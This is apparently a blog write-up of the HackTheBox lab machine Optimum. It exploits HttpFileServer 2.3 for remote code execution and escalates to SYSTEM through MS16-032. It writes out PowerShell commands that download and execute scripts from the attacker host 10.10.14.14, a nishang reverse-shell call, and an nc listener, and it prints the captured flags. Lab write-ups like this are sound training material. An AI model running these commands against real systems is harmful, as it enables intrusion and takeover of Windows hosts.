Post
Cancel

HackTheBox - Optimum

Foothold

nmap scan

1
2
3
4
5
6
7
8
9
$ nmap -min-rate 5000 --max-retries 1 -sV -sC -p- -oN Optimum-full-port-scan.txt 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.15s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HttpFileServer/2.3 (port 80)

HFS main page

gobuster

gobuster ___

Method #1: using Metasploit (failed)

metasploit search HFS

Inspecting payload with Burp

metasploit HFS exploit options

The exploit seems to save a visual basic script (.vbs) on the target. We press “Forward” button (top left) to go further:

Burp payload 1

Now it execute the malicious script. We press “Forward” again:

Burp payload 2

It worked! We got a meterppreter as user kostas:

meterpreter session

Downloading winPEAS

  1. Download winPEAS.exe (64 bits version)

  2. On our machine we run an HTTP Server:

1
python3 -m http.server
  1. From victim’s target, go to a world-writeable directory (c:\Windows\System32\spool\drivers\color>) and download winPEAS.exe:
1
powershell -command "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.14:8000/winPEAS.exe', 'c:\Windows\System32\spool\drivers\color\winPEAS.exe')"

Unfortunately, I didn’t find anything interesting in winPEAS output.

Therefore, I decided to use metasploit suggester

Exploit Suggester

Running sysinfo within our meterpreter session shows us an issue. We’re facing a Windows with a 64-bit architecture while our meterpreter is 32 bit (x86):

meterpreter sysinfo

x86

If we use metasploit suggester anyway:

MSF suggester x86

Migrate (x86 → x64)

In order to fix this, we can open a shell our meterpreter session and then use the migrate command:

meterpreter migrate

x64

Now we can use suggester:

MSF suggester x64

No exploits were suggested.

Method #2: without Metasploit

First, since our nmap scan identified that the target is running HttpFileServer (HFS) version 2.3, and considering that gobuster didn’t find any thing, let’s search for exploits:

searchsploit HttpFileServer

It’s interesting to notice that looking for HFS 2.3 gives us more results:

searchsploit HFS

However, let’s take a look at the first one:

download first exploit

exploit source code

Okay so it’s a very simple RCE:

testing with ping

We can see that the ping worked, now we can ask ourselves: how to get a reverse shell?

Reverse shell

I tried to use this one-line powershell reverse shell but I couldn’t make it works.

So I used the one from nishang repository (Invoke-PowerShellTcp.ps1). We simply add the following line to the script:

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 1234

Don’t forget to run a listener nc -lnvp 1234

Using the exploit (49125.py) example, we can make the target download and execute this reverse shell file by doing so:

1
$ python3 49125.py $TARGET 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.14:8000/Invoke-PowerShellTcp.ps1')"

NOTE: c:\windows\SysNative\ is a folder specific to 64-bit Windows while c:\windows\System32\ and c:\windows\SysWow64\ are both 32-bit Windows folders.

Now we got a shell:

kostas reverse shell

User (kostas)

1
2
PS C:\Users\kostas\Desktop> type user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

Windows Exploit Suggester - Next Generation (WES-NG)

Neither Sherlock, Watson and Windows-Exploit-Suggester worked for me.

However, wesng (Windows Exploit Suggester Next Generation) helped to find some exploits.

I simply had to save systeminfo output into a file and gave it as an argument:

systeminfo

The target machine is Windows Server 2012 R2 Standard version 6.3.9600. It’s a 64 bit machine and many patches have been installed as we see “31 Hotfix(s) Installed”.

wesng

I was interested in CVE-2016-0099 because of the Empire exploit → Invoke-MS16032.ps1.

It appears that the target is vulnerable:

CVE-2016-0099

Privesc

We have to add this line to Invoke-MS16032.ps1:

1
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.14:8000/shell.ps1')"

The script shell.ps1 is just a copy of the nishang Invoke-PowerShellTcp.ps1 script we previously modified. The only difference is the port on which we are redirecting the shell:

diff between shell.ps1 and Invoke-PowerShellTcp.ps1

Go back to our windows reverse shell, download and execute Invoke-MS16032.ps1 by doing so:

1
 iex(New-Object Net.WebClient).DownloadString('http://10.10.14.14:8000/Invoke-MS16032.ps1')

MS16032

Wait for the scripts to be downloaded and executed:

scripts downloaded

YES! We have access to SYSTEM shell:

system

1
2
PS C:\users\Administrator\Desktop> type root.txt
51ed1b36553c8461f4552c2e92b3eeed

This post is licensed under CC BY 4.0 by the author.